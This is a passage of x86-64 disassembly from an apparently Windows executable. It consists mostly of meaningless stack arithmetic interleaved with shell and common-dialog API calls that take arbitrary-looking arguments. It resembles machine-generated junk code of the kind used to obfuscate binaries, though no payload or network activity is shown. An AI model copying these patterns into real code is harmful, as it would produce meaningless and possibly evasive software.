movsx eax, byte [rsp + 0x18d]
mov rcx, qword [rsp + 0xd9f0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x50d], al
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14019d060]
shr eax, cl
mov dword [rsp + 0x6dc4], eax
mov rax, qword [rsp + 0xd4f0]
mov rax, qword [rax]
mov qword [0x14019f1d8], rax
mov rax, qword [rsp + 0xd7d8]
movzx eax, word [rax]
mov word [rsp + 0x2c4c], ax
movsx eax, word [rsp + 0x2a90]
movsx ecx, word [rsp + 0x2a64]
and eax, ecx
mov rcx, qword [rsp + 0xd188]
mov word [rcx], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd7f0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xcf0], ax
mov rax, qword [rsp + 0xd2a0]
mov rcx, qword [0x14019f150]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd968], rax
mov eax, dword [rsp + 0x5cf0]
mov dword [rsp + 0x6e44], eax
mov rax, qword [rsp + 0xd788]
movzx ecx, al
mov rax, qword [rsp + 0xc4b8]
shl rax, cl
mov qword [rsp + 0xd678], rax
lea rax, [rsp + 0x22d40]
mov qword [rsp + 0x20], rax
mov r9d, reloc.SHELL32.dll_ILRemoveLastID
lea r8, [rsp + 0xd5c0]
lea rdx, [rsp + 0x1e078]
lea rcx, [rsp + 0xcf00]
call qword [sym.imp.SHELL32.dll_SHParseDisplayName]
mov dword [rsp + 0x6e48], eax
mov rax, qword [rsp + 0xd488]
movsx eax, byte [rax]
mov rcx, qword [0x14019f180]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x439], al
mov rax, qword [rsp + 0xd258]
movzx eax, word [rax]
mov word [rsp + 0x2c50], ax
mov rax, qword [rsp + 0xd828]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x183c]
sar eax, cl
mov word [0x14019d0a8], ax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xd380]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xdbc0], rax
lea rax, [rsp + 0x2c10]
mov qword [rsp + 0xdbd0], rax
mov rax, qword [rsp + 0xdbc8]
mov ecx, dword [rsp + 0x6798]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5eb4], eax
movzx eax, byte [rsp + 0x4f0]
movzx ecx, byte [0x14019ef90]
add eax, ecx
mov byte [rsp + 0x283], al
lea rax, [rsp + 0x5b50]
mov qword [rsp + 0xdbd8], rax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd2c0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd488]
mov byte [rcx], al
lea rax, [rsp + 0xd8d0]
mov qword [rsp + 0xdbe0], rax
movsx eax, word [rsp + 0x2a88]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1e7c], ax
movzx eax, word [rsp + 0x2b04]
movzx ecx, word [rsp + 0x2a10]
sar eax, cl
mov word [0x14019d0ac], ax
mov rax, qword [rsp + 0xd660]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd1c0]
mov qword [rsp + 0xdbe8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdbe8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xbf78], rax
mov rax, qword [rsp + 0xd388]
mov rcx, qword [rsp + 0xda78]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x98a0], rax
mov rax, qword [rsp + 0xd898]
movsx eax, word [rax]
movsx ecx, word [0x14019d0b8]
and eax, ecx
mov word [rsp + 0x2bac], ax
mov rax, qword [rsp + 0xda50]
movzx eax, word [rax]
mov word [rsp + 0x2c54], ax
mov dword [rsp + 0x20], 0x3a
lea r9, [rsp + 0xcf90]
mov r8, qword [rsp + 0xd1b0]
mov rdx, qword [rsp + 0xcf90]
mov rcx, qword [rsp + 0xcdd8]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x6ca4], eax
xor edx, edx
mov eax, dword [rsp + 0x6454]
mov ecx, 0x2f77
div ecx
mov dword [rsp + 0x6da0], eax
mov rax, qword [rsp + 0xd628]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd218]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x4f4], al
mov rax, qword [rsp + 0xd1e8]
mov rcx, qword [rsp + 0xd5d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa3b0], rax
mov rax, qword [rsp + 0xd5a0]
mov rcx, qword [rsp + 0xa3d0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbfc8], rax
movsx eax, word [rsp + 0x2b5c]
mov rcx, qword [rsp + 0xd750]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x14019d108], ax
movzx eax, word [rsp + 0x2a9c]
mov word [rsp + 0x2c58], ax
mov rax, qword [rsp + 0xd050]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6450]
sar eax, cl
mov dword [rsp + 0x5b24], eax
mov rax, qword [rsp + 0xd1a0]
movzx eax, byte [rax]
mov byte [rsp + 0x52d], al
mov rax, qword [rsp + 0xd7a8]
mov rcx, qword [rsp + 0xd918]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xdb88], rax
mov rax, qword [rsp + 0xd158]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x505]
sub eax, ecx
mov rcx, qword [rsp + 0xd9f0]
mov byte [rcx], al
mov rax, qword [rsp + 0xd1e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xda38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc188], rax
mov eax, dword [rsp + 0x6cf0]
mov ecx, dword [rsp + 0x5dfc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e10], eax
mov rax, qword [rsp + 0xda00]
movzx eax, word [rax]
mov word [rsp + 0x2c5c], ax
movzx eax, word [rsp + 0x2b54]
mov word [0x14019f1e0], ax
mov rax, qword [rsp + 0xd5a0]
mov rcx, qword [rsp + 0x9b60]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xd388]
mov qword [rcx], rax
lea r9, [rsp + 0x6c58]
lea r8, [rsp + 0x1f460]
lea rdx, [rsp + 0x1e078]
lea rcx, [rsp + 0x21410]
call qword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [rsp + 0x6e4c], eax
movzx eax, word [rsp + 0x2b70]
mov rcx, qword [rsp + 0xd5f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c40], ax
mov rax, qword [rsp + 0xd9b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd68]
and eax, ecx
mov word [rsp + 0x196c], ax
mov rax, qword [0x14019f050]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb4e0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc488], rax
mov rax, qword [rsp + 0xd628]
movzx eax, byte [rax]
mov byte [rsp + 0x52e], al
xor edx, edx
mov rax, qword [rsp + 0xd3d8]
mov eax, dword [rax]
div dword [rsp + 0x6d68]
mov dword [rsp + 0x6184], eax
mov rax, qword [rsp + 0xdb78]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd988]
shl rax, cl
mov qword [rsp + 0xd300], rax
lea rax, [rsp + 0x2c34]
mov qword [rsp + 0xdbf0], rax
mov rax, qword [rsp + 0xd940]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd6a0]
sar rax, cl
mov rcx, qword [0x14019f050]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd550]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd1d8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd0c0]
mov byte [rcx], al
mov rax, qword [rsp + 0xd480]
mov eax, dword [rax]
mov dword [rsp + 0x6e50], eax
movsx eax, word [rsp + 0x2ab8]
mov rcx, qword [rsp + 0xd898]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b94], ax
movzx eax, word [rsp + 0x29a8]
mov rcx, qword [0x14019f018]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b24], ax
mov r8, qword [rsp + 0xdbf8]
mov rdx, qword [rsp + 0xd268]
mov rcx, qword [rsp + 0xd1b0]
call qword [sym.imp.SHELL32.dll_FindExecutableW]
mov qword [rsp + 0xd530], rax
mov rax, qword [rsp + 0xdbd8]
mov rcx, qword [rsp + 0xd960]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6b68], eax
mov rax, qword [rsp + 0xd180]
movsx eax, byte [rax]
mov rcx, qword [0x14019f180]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd438]
mov byte [rcx], al
mov rax, qword [rsp + 0xd1e8]
mov rax, qword [rax]
mov qword [rsp + 0xdc00], rax
movsx eax, word [rsp + 0x2b9c]
movsx ecx, word [rsp + 0x1c10]
sar eax, cl
mov word [rsp + 0x2c00], ax
lea r9, [rsp + 0x20930]
lea r8, [rsp + 0xd168]
mov rdx, qword [rsp + 0xd2c8]
lea rcx, [rsp + 0x1e058]
call sub.VERSION.dll_VerQueryValueW
mov dword [rsp + 0x6d18], eax
movzx eax, word [rsp + 0x1138]
mov rcx, qword [0x14019f018]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14019f0e4], ax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd1e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ef8], rax
mov rax, qword [rsp + 0xdb88]
mov rcx, qword [rsp + 0xd870]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd440], rax
mov rax, qword [rsp + 0xc248]
mov rcx, qword [0x14019f000]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x91a8], rax
movzx eax, word [rsp + 0x2a90]
mov word [rsp + 0x2c60], ax
mov rax, qword [rsp + 0xa700]
mov rcx, qword [rsp + 0xd428]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd518], rax
mov rax, qword [rsp + 0xd628]
movzx eax, byte [rax]
mov byte [rsp + 0x52f], al
mov rax, qword [rsp + 0xd338]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd198]
mov qword [rsp + 0xdc08], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdc08]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6b8c], eax
movzx eax, byte [rsp + 0x4ee]
movzx ecx, byte [rsp + 0x3b1]
or eax, ecx
mov byte [rsp + 0x504], al
mov eax, dword [rsp + 0x6d44]
mov rcx, qword [rsp + 0xd0f8]
mov qword [rsp + 0xdc10], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdc10]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6414], eax
mov rax, qword [rsp + 0xd878]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdb70]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14019d10c], ax
mov rax, qword [rsp + 0xda50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2890]
add eax, ecx
mov word [rsp + 0x2c3c], ax
movzx eax, word [rsp + 0xcf0]
mov word [rsp + 0x2c64], ax
mov rax, qword [rsp + 0xd660]
mov rcx, qword [rsp + 0xc488]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xd5a0]
mov qword [rcx], rax
mov rax, qword [0x14019f0f8]
mov rcx, qword [rsp + 0xd0e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd850], rax
mov rax, qword [rsp + 0xd058]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6704]
shr eax, cl
mov dword [rsp + 0x5ba8], eax
movsx eax, byte [rsp + 0x2db]
movsx ecx, byte [rsp + 0x346]
shl eax, cl
mov byte [rsp + 0x52a], al
movzx eax, word [rsp + 0x2ab4]
mov word [rsp + 0x2c68], ax
movzx eax, word [rsp + 0x1364]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c58], ax
mov rax, qword [rsp + 0xd1c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf80]
sub rcx, rax
mov rax, rcx
mov qword [0x14019d0f0], rax
movzx eax, word [rsp + 0x2b54]
mov rcx, qword [rsp + 0xda50]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x22b0], ax
mov rax, qword [rsp + 0xda20]
mov rcx, qword [0x14019f1b8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa3d0], rax
lea rcx, [rsp + 0x1e920]
call qword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov qword [rsp + 0xda30], rax
mov rax, qword [rsp + 0xd918]
mov rcx, qword [rsp + 0x9d98]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbfc8], rax
mov rax, qword [rsp + 0xdb78]
mov rax, qword [rax]
mov qword [rsp + 0xdc18], rax
mov rax, qword [rsp + 0xd0a8]
movsx eax, byte [rax]
mov rcx, qword [0x14019f198]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x344], al
mov rax, qword [rsp + 0xd050]
mov eax, dword [rax]
mov dword [rsp + 0x6e54], eax
movzx eax, byte [rsp + 0x4f3]
mov rcx, qword [rsp + 0xd9e0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x528], al
mov rax, qword [rsp + 0xd3d8]
mov rcx, qword [rsp + 0xd198]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd960]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2b28]
mov word [0x14019f1e4], ax
mov rcx, qword [rsp + 0xdc20]
call qword [sym.imp.SHELL32.dll_DragFinish]
mov rax, qword [rsp + 0xd5b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a8c]
add eax, ecx
mov word [rsp + 0x116c], ax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd620]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd800]
mov word [rcx], ax
movzx eax, word [rsp + 0x22b0]
mov word [rsp + 0x2c6c], ax
mov rax, qword [rsp + 0xd1e8]
mov rcx, qword [rsp + 0xdbb0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xaa78], rax
movsx eax, byte [0x14019ef93]
mov rcx, qword [rsp + 0xd218]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4df], al
mov rax, qword [rsp + 0xda88]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd3d8]
mov qword [rsp + 0xdc28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdc28]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x586c], eax
mov rax, qword [rsp + 0xd398]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a6c]
or eax, ecx
mov word [rsp + 0x2ac0], ax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
mov word [rsp + 0x2c70], ax
mov rax, qword [rsp + 0xd0b8]
mov qword [0x14019f1e8], rax
mov rax, qword [rsp + 0xd5a0]
mov rcx, qword [rsp + 0xd298]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd998], rax
mov rax, qword [rsp + 0xb340]
mov rcx, qword [rsp + 0xaf10]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd500], rax
mov rax, qword [rsp + 0xda20]
mov rax, qword [rax]
mov qword [rsp + 0xdc30], rax
movzx eax, word [rsp + 0x2ae4]
movzx ecx, word [0x14019d048]
and eax, ecx
mov rcx, qword [rsp + 0xdbd0]
mov word [rcx], ax
lea rdx, [rsp + 0x22970]
lea rcx, [rsp + 0x6d38]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x6ce0], eax
mov rax, qword [rsp + 0xd098]
mov rcx, qword [rsp + 0xd050]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6458], eax
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51e]
shl eax, cl
mov byte [rsp + 0x51a], al
mov eax, dword [0x14019d060]
mov dword [rsp + 0x6e58], eax
mov rax, qword [rsp + 0xd488]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd628]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4ab], al
lea rax, [rsp + 0xd8a8]
mov qword [0x14019f1f0], rax
movsx eax, word [rsp + 0x2bb8]
movsx ecx, word [rsp + 0x2a50]
or eax, ecx
mov word [rsp + 0x1340], ax
mov rax, qword [rsp + 0xd470]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2794], ax
movzx eax, word [rsp + 0xcc8]
movzx ecx, word [rsp + 0x1d98]
sub eax, ecx
mov word [rsp + 0x1138], ax
mov rax, qword [rsp + 0xd738]
mov qword [rsp + 0xdc38], rax
mov rax, qword [rsp + 0xd9a8]
mov rcx, qword [rsp + 0xac98]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9f68], rax
mov rax, qword [rsp + 0xd338]
mov rcx, qword [rsp + 0xd2f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6de8], eax
lea rcx, [rsp + 0x209d0]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [rsp + 0x6dac], eax
movzx eax, byte [rsp + 0x4f7]
mov byte [rsp + 0x530], al
movsx eax, word [rsp + 0x1d00]
mov rcx, qword [rsp + 0xdb68]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1390], ax
movzx eax, word [rsp + 0x24f8]
mov rcx, qword [rsp + 0xd800]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14019d0ac], ax
mov rax, qword [rsp + 0x9b60]
movzx ecx, al
mov rax, qword [rsp + 0xd290]
sar rax, cl
mov qword [rsp + 0xc508], rax
movzx eax, word [rsp + 0x2b98]
mov rcx, qword [rsp + 0xd8b0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2890], ax
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x501]
and eax, ecx
mov byte [rsp + 0x51c], al
mov rax, qword [rsp + 0xd150]
mov eax, dword [rax]
mov dword [rsp + 0x6e5c], eax
mov rax, qword [rsp + 0xdbd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6da0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d20], eax
mov rax, qword [rsp + 0xd8c0]
mov rcx, qword [0x14019f1d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1a0], rax
movsx eax, byte [rsp + 0x530]
mov rcx, qword [rsp + 0xd488]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x6a], al
lea rax, [rsp + 0x2160]
mov qword [rsp + 0xdc40], rax
movzx eax, word [0x14019d0ac]
mov rcx, qword [rsp + 0xd7a0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14019f0d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xd408]
mov rcx, qword [rsp + 0xad38]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xd650]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd7a8]
mov rcx, qword [rsp + 0xd408]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcfe0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x2b5c]
mov word [rsp + 0x2c74], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd4e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a40], ax
mov rax, qword [rsp + 0xd628]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd970]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3e1], al
mov rax, qword [rsp + 0xd1e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd788]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa980], rax
mov rax, qword [rsp + 0xd058]
mov ecx, dword [rsp + 0x6db8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6c24], eax
mov rax, qword [rsp + 0xd298]
mov rax, qword [rax]
mov qword [rsp + 0xdc48], rax
movsx eax, word [rsp + 0xe3c]
mov rcx, qword [rsp + 0xd750]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x14019d110], ax
movzx eax, word [rsp + 0xdb0]
movzx ecx, word [0x14019f058]
shl eax, cl
mov word [rsp + 0x17d4], ax
lea rax, [rsp + 0x511]
mov qword [rsp + 0xdc50], rax
mov rax, qword [rsp + 0xd050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e54]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d8c], eax
mov rax, qword [rsp + 0xbf78]
mov rcx, qword [rsp + 0xd3d0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xbfc8], rax
mov rax, qword [rsp + 0xd608]
mov rax, qword [rax]
mov qword [rsp + 0xdc58], rax
movsx eax, byte [rsp + 0x4ec]
movsx ecx, byte [rsp + 0x496]
or eax, ecx
mov byte [rsp + 0x4e3], al
lea rax, [0x14019d060]
mov qword [rsp + 0xdc60], rax
mov rax, qword [rsp + 0xd7d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd470]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2bb0], ax
movzx eax, word [rsp + 0x2a48]
mov rcx, qword [rsp + 0xd828]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14019efd0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd260]
mov rcx, qword [0x14019d100]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd5a0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x2b98]
mov rcx, qword [rsp + 0xd910]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1554], ax
mov rax, qword [rsp + 0xdb70]
movsx eax, word [rax]
movsx ecx, word [0x14019d110]
sar eax, cl
mov word [rsp + 0x2bb4], ax
mov rax, qword [rsp + 0x9e78]
mov qword [rsp + 0xdc68], rax
mov eax, dword [rsp + 0x5e94]
mov ecx, dword [rsp + 0x6d68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd118]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd3b8]
mov rcx, qword [rsp + 0xd110]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc3f0], rax
mov rax, qword [rsp + 0xd9f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd628]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x12a], al
movzx eax, word [rsp + 0x2ad4]
mov rcx, qword [rsp + 0xd8c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10d8], ax
lea rax, [rsp + 0x6d60]
mov qword [rsp + 0x20], rax
mov r9d, LBItemFromPt
lea r8, [rsp + 0x1e058]
lea rdx, [rsp + 0x2a5c]
mov rcx, qword [rsp + 0xce38]
call qword [sym.imp.SHELL32.dll_SHDoDragDrop]
mov dword [rsp + 0x6e60], eax
mov rax, qword [rsp + 0xd1c0]
mov rax, qword [rax]
mov qword [0x14019f1f8], rax
lea rax, [rsp + 0x3b1]
mov qword [rsp + 0xdc70], rax
mov rax, qword [rsp + 0xda60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x633c], eax
mov rax, qword [0x14019f008]
movzx eax, word [rax]
mov word [rsp + 0x2c78], ax
movzx eax, word [rsp + 0x2ae0]
movzx ecx, word [rsp + 0x1d98]
xor eax, ecx
mov word [rsp + 0x2afc], ax
mov eax, dword [rsp + 0x6b20]
mov ecx, dword [rsp + 0x58e0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6df0], eax
movzx eax, byte [0x14019ef91]
mov byte [rsp + 0x531], al
mov rax, qword [rsp + 0xd1c8]
mov rcx, qword [rsp + 0xd788]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb050], rax
mov rax, qword [rsp + 0xd470]
movsx eax, word [rax]
movsx ecx, word [0x14019d0b4]
shl eax, cl
mov word [rsp + 0x10c8], ax
movzx eax, word [rsp + 0x14dc]
movzx ecx, word [rsp + 0x2a78]
sar eax, cl
mov word [0x14019d114], ax
mov rax, qword [rsp + 0xbce8]
mov rcx, qword [rsp + 0x91b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdb58], rax
mov rax, qword [0x14019f048]
mov rcx, qword [rsp + 0xd1c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd830], rax
mov rax, qword [rsp + 0xd3f8]
mov qword [rsp + 0xdc78], rax
mov rax, qword [rsp + 0xda00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1244]
shl eax, cl
mov word [rsp + 0x2bb0], ax
mov rax, qword [0x14019efc8]
mov rcx, qword [rsp + 0xdbd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5a94], eax
mov rax, qword [rsp + 0xdaa0]
mov rcx, qword [rsp + 0xd248]
mov qword [rsp + 0xdc80], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdc80]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb6e0], rax
movsx eax, byte [rsp + 0x4e0]
mov rcx, qword [rsp + 0xd0a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd970]
mov byte [rcx], al
mov r8w, 0xa3
mov rdx, qword [rsp + 0xd718]
mov rcx, qword [rsp + 0xce20]
call qword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [rsp + 0x2a30], ax
mov eax, dword [rsp + 0x6458]
mov dword [rsp + 0x6e64], eax
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b2]
add eax, ecx
mov byte [rsp + 0x481], al
mov rax, qword [rsp + 0xd7d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2808]
and eax, ecx
mov word [0x14019efd8], ax
mov rax, qword [rsp + 0xd630]
movzx eax, word [rax]
mov word [rsp + 0x2c7c], ax
movzx eax, word [rsp + 0x2abc]
mov rcx, qword [rsp + 0xda50]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2bdc], ax
mov rax, qword [rsp + 0xd590]
mov rcx, qword [0x14019f1d0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1d8], rax
mov rax, qword [rsp + 0xd608]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xda48]
shl rax, cl
mov qword [rsp + 0xb6e0], rax
mov eax, dword [0x14019f0c8]
mov rcx, qword [rsp + 0xd118]
mov qword [rsp + 0xdc88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdc88]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6db8], eax
movzx eax, byte [rsp + 0x338]
mov byte [rsp + 0x532], al
mov rax, qword [rsp + 0xd188]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a74]
sub eax, ecx
mov rcx, qword [rsp + 0xd188]
mov word [rcx], ax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
mov rcx, qword [0x14019f0d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2650], ax
mov rax, qword [rsp + 0xd870]
mov rcx, qword [rsp + 0x92b0]
sub rcx, rax
mov rax, rcx
mov qword [0x14019d008], rax
movzx eax, word [rsp + 0xba0]
movzx ecx, word [rsp + 0x2c0c]
sar eax, cl
mov word [rsp + 0x2a80], ax
mov rax, qword [rsp + 0xdb98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd250]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb590], rax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov qword [rsp + 0xdc90], rax
mov eax, dword [0x14019d060]
mov rcx, qword [rsp + 0xdc60]
mov qword [rsp + 0xdc98], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdc98]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6dcc], eax
mov rax, qword [rsp + 0xd1e8]
mov rax, qword [rax]
mov qword [rsp + 0xdca0], rax
movzx eax, byte [rsp + 0x3b1]
mov rcx, qword [rsp + 0xdc70]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x517], al
mov rax, qword [rsp + 0xd0f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6920]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e24], eax
mov rax, qword [rsp + 0xd9f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2cb]
and eax, ecx
mov byte [rsp + reloc.SHELL32.dll_SHMultiFileProperties], al
mov rax, qword [rsp + 0xd818]
movzx eax, word [rax]
mov word [0x14019f200], ax
lea r9, [rsp + 0x1f460]
